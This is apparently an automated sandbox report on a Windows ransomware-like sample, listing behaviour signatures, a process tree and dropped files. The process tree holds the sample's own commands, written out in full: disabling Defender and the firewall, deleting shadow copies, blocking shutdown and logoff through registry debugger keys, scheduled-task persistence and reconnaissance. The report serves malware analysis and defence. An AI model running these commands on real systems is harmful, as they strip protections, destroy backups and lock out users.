Resubmissions

10/09/2026, 11:02

260910-m5halavzbx10

10/09/2026, 05:11

260910-fvnajayflf10

Analysis

  • user interaction
    yes
  • max time kernel
    49s
  • max time network
    48s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    10/09/2026, 11:02

General

  • Target
    2026-09-08_68790bbd7620c9849fd1b9d9aa09c591_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 49KB
  • Sample260910-m5halavzbx
  • SHA256 caa3f8b84ecde59e8102394d3212e6c49618cfb0fa0e9ebf89c4dabf7cec5eb1
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Power Settings 1 TTPs 3 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Delays execution with timeout.exe 1 IoCs
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 42 IoCs
  • Modifies registry class 16 IoCs
  • Modifies registry key 1 TTPs 3 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 51 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\cmd.exe
    cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f && reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLogoff /t REG_DWORD /d 1 /f && reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogOff /t REG_DWORD /d 1 /f && reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\shutdown.exe" /v Debugger /t REG_SZ /d "cmd.exe /c echo blocked" /f && reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tsdiscon.exe" /v Debugger /t REG_SZ /d "cmd.exe /c echo blocked" /f && reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\logoff.exe" /v Debugger /t REG_SZ /d "cmd.exe /c echo blocked" /f && powercfg /SETACVALUEINDEX SCHEME_CURRENT SUB_NONE CONSOLELOCK 0 && powercfg /SETDCVALUEINDEX SCHEME_CURRENT SUB_NONE CONSOLELOCK 0 && net user Admin triage && timeout /t 5 /nobreak && C:\Users\Admin\AppData\Local\Temp\2026-09-08_68790bbd7620c9849fd1b9d9aa09c591_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Power Settings
    • Suspicious use of WriteProcessMemory
    PID:1436
    • C:\Windows\system32\reg.exe
      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
      2⤵
      • Modifies registry key
      PID:2924
    • C:\Windows\system32\reg.exe
      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLogoff /t REG_DWORD /d 1 /f
      2⤵
      • Modifies registry key
      PID:4660
    • C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogOff /t REG_DWORD /d 1 /f
      2⤵
      • Modifies registry key
      PID:2612
    • C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\shutdown.exe" /v Debugger /t REG_SZ /d "cmd.exe /c echo blocked" /f
      2⤵
      • Event Triggered Execution: Image File Execution Options Injection
      PID:4280
    • C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tsdiscon.exe" /v Debugger /t REG_SZ /d "cmd.exe /c echo blocked" /f
      2⤵
      • Event Triggered Execution: Image File Execution Options Injection
      PID:4204
    • C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\logoff.exe" /v Debugger /t REG_SZ /d "cmd.exe /c echo blocked" /f
      2⤵
      • Event Triggered Execution: Image File Execution Options Injection
      PID:1164
    • C:\Windows\system32\powercfg.exe
      powercfg /SETACVALUEINDEX SCHEME_CURRENT SUB_NONE CONSOLELOCK 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:3888
    • C:\Windows\system32\powercfg.exe
      powercfg /SETDCVALUEINDEX SCHEME_CURRENT SUB_NONE CONSOLELOCK 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:1332
    • C:\Windows\system32\net.exe
      net user Admin triage
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2444
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 user Admin triage
        3⤵
          PID:4428
      • C:\Windows\system32\timeout.exe
        timeout /t 5 /nobreak
        2⤵
        • Delays execution with timeout.exe
        PID:4692
      • C:\Users\Admin\AppData\Local\Temp\2026-09-08_68790bbd7620c9849fd1b9d9aa09c591_destroyer_elex_glassworm_ngrbot_wannacry.exe
        C:\Users\Admin\AppData\Local\Temp\2026-09-08_68790bbd7620c9849fd1b9d9aa09c591_destroyer_elex_glassworm_ngrbot_wannacry.exe
        2⤵
        • Modifies Windows Defender DisableAntiSpyware settings
        • Disables RegEdit via registry modification
        • Drops file in Drivers directory
        • Checks computer location settings
        • Creates a file in the Startup directory
        • Adds Run key to start application
        • Drops file in System32 directory
        • Sets desktop wallpaper using registry
        • Modifies Control Panel
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4168
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2028
        • C:\Windows\System32\sc.exe
          "C:\Windows\System32\sc.exe" stop wscsvc
          3⤵
          • Launches sc.exe
          PID:2520
        • C:\Windows\System32\sc.exe
          "C:\Windows\System32\sc.exe" config wscsvc start= disabled
          3⤵
          • Launches sc.exe
          PID:212
        • C:\Windows\System32\sc.exe
          "C:\Windows\System32\sc.exe" stop SecurityHealthService
          3⤵
          • Launches sc.exe
          PID:2488
        • C:\Windows\System32\sc.exe
          "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
          3⤵
          • Launches sc.exe
          PID:3376
        • C:\Windows\System32\sc.exe
          "C:\Windows\System32\sc.exe" stop WinDefend
          3⤵
          • Launches sc.exe
          PID:1628
        • C:\Windows\System32\sc.exe
          "C:\Windows\System32\sc.exe" config WinDefend start= disabled
          3⤵
          • Launches sc.exe
          PID:3528
        • C:\Windows\System32\sc.exe
          "C:\Windows\System32\sc.exe" stop MsMpSvc
          3⤵
          • Launches sc.exe
          PID:4780
        • C:\Windows\System32\sc.exe
          "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
          3⤵
          • Launches sc.exe
          PID:1176
        • C:\Windows\System32\fodhelper.exe
          "C:\Windows\System32\fodhelper.exe"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3408
          • C:\Users\Admin\AppData\Local\Temp\2026-09-08_68790bbd7620c9849fd1b9d9aa09c591_destroyer_elex_glassworm_ngrbot_wannacry.exe
            "C:\Users\Admin\AppData\Local\Temp\2026-09-08_68790bbd7620c9849fd1b9d9aa09c591_destroyer_elex_glassworm_ngrbot_wannacry.exe"
            4⤵
              PID:2320
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
            3⤵
            • Executes a VBScript file via the Windows Script Host.
            PID:1504
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-08_68790bbd7620c9849fd1b9d9aa09c591_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4976
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3160
            • C:\Windows\system32\vssadmin.exe
              vssadmin delete shadows /all /quiet
              4⤵
              • Interacts with shadow copies
              PID:2924
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic shadowcopy delete
              4⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1388
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1800
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              4⤵
              • Gathers system information
              PID:2932
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4540
            • C:\Windows\system32\tasklist.exe
              tasklist
              4⤵
              • Discovers running processes
              • Suspicious use of AdjustPrivilegeToken
              PID:4204
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4664
            • C:\Windows\system32\whoami.exe
              whoami
              4⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4820
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:652
            • C:\Windows\system32\net.exe
              net user
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4116
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user
                5⤵
                  PID:1912
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
              3⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:1352
              • C:\Windows\system32\ipconfig.exe
                ipconfig /all
                4⤵
                • Gathers network information
                PID:4108
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
              3⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2028
              • C:\Windows\system32\NETSTAT.EXE
                netstat -an
                4⤵
                • Gathers network information
                • Suspicious use of AdjustPrivilegeToken
                PID:4284
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-08_68790bbd7620c9849fd1b9d9aa09c591_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:2488
            • C:\Windows\System32\wscript.exe
              "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
              3⤵
              • Executes a VBScript file via the Windows Script Host.
              PID:3360
            • C:\Windows\System32\notepad.exe
              "C:\Windows\System32\notepad.exe"
              3⤵
                PID:4080
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                3⤵
                • Interacts with shadow copies
                PID:308
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:4780
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2356
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop srservice
                  4⤵
                    PID:3124
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                  3⤵
                  • Launches sc.exe
                  PID:956
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  3⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:412
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  3⤵
                  • Launches sc.exe
                  PID:992
            • C:\Windows\system32\LogonUI.exe
              "LogonUI.exe" /flags:0x0 /state0:0xa3953055 /state1:0x41c64e6d
              1⤵
              • Modifies data under HKEY_USERS
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              PID:2120
            • C:\Users\Admin\AppData\Local\Temp\2026-09-08_68790bbd7620c9849fd1b9d9aa09c591_destroyer_elex_glassworm_ngrbot_wannacry.exe
              C:\Users\Admin\AppData\Local\Temp\2026-09-08_68790bbd7620c9849fd1b9d9aa09c591_destroyer_elex_glassworm_ngrbot_wannacry.exe
              1⤵
                PID:4516
              • C:\Users\Admin\AppData\Local\Temp\2026-09-08_68790bbd7620c9849fd1b9d9aa09c591_destroyer_elex_glassworm_ngrbot_wannacry.exe
                C:\Users\Admin\AppData\Local\Temp\2026-09-08_68790bbd7620c9849fd1b9d9aa09c591_destroyer_elex_glassworm_ngrbot_wannacry.exe
                1⤵
                  PID:1028
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:512
                • C:\Windows\system32\wbem\wmiprvse.exe
                  C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                  1⤵
                    PID:4284

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

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                        Downloads

                        invoice_1.pdf

                        • Path C:\ProgramData\invoice_1.pdf
                        • Size 66KB
                        • SHA256 a92b497a2b326cda6c8e351a3628cff913cc335e40bee2a1465529f780f052dc
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        doc_3.pdf

                        • Path C:\SystemVolumeInformation\doc_3.pdf
                        • Size 66KB
                        • SHA256 6e996c62e51263d7b2f49ca5980647a07b390ac2b03aaf136eedff64795ae685
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        2026-09-08_68790bbd7620c9849fd1b9d9aa09c591_destroyer_elex_glassworm_ngrbot_wannacry.exe.log

                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-09-08_68790bbd7620c9849fd1b9d9aa09c591_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
                        • Size 660B
                        • SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
                        • MD5 SHA1 SHA512 TLSH

                        __PSScriptPolicyTest_d53lzhbh.rbk.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d53lzhbh.rbk.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        createshortcut.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                        • Size 309B
                        • SHA256 fe74b2a88b7a028bd7ca17e9d06141d819efa6a6975e81068bf28854b51d2ff7
                        • MD5 SHA1 SHA512 TLSH

                        del.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                        • Size 59B
                        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                        • MD5 SHA1 SHA512 TLSH

                        makelnk.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                        • Size 310B
                        • SHA256 b9f5238d98740d23ead6ec0b5ea81d2e9763006d6aca3d76733f4ff9fc3ec748
                        • MD5 SHA1 SHA512 TLSH

                        sysupdate.exe

                        • Path C:\Windows\System32\sysupdate.exe
                        • Size 49KB
                        • SHA256 caa3f8b84ecde59e8102394d3212e6c49618cfb0fa0e9ebf89c4dabf7cec5eb1
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/2028-734-0x000001E365F80000-0x000001E365FA2000-memory.dmp

                        memory/4080-2238-0x00000252A1A80000-0x00000252A1A81000-memory.dmp

                        memory/4168-2-0x000000001E130000-0x000000001E658000-memory.dmp

                        memory/4168-1-0x000000001DE60000-0x000000001E022000-memory.dmp

                        memory/4168-0-0x0000000000860000-0x0000000000872000-memory.dmp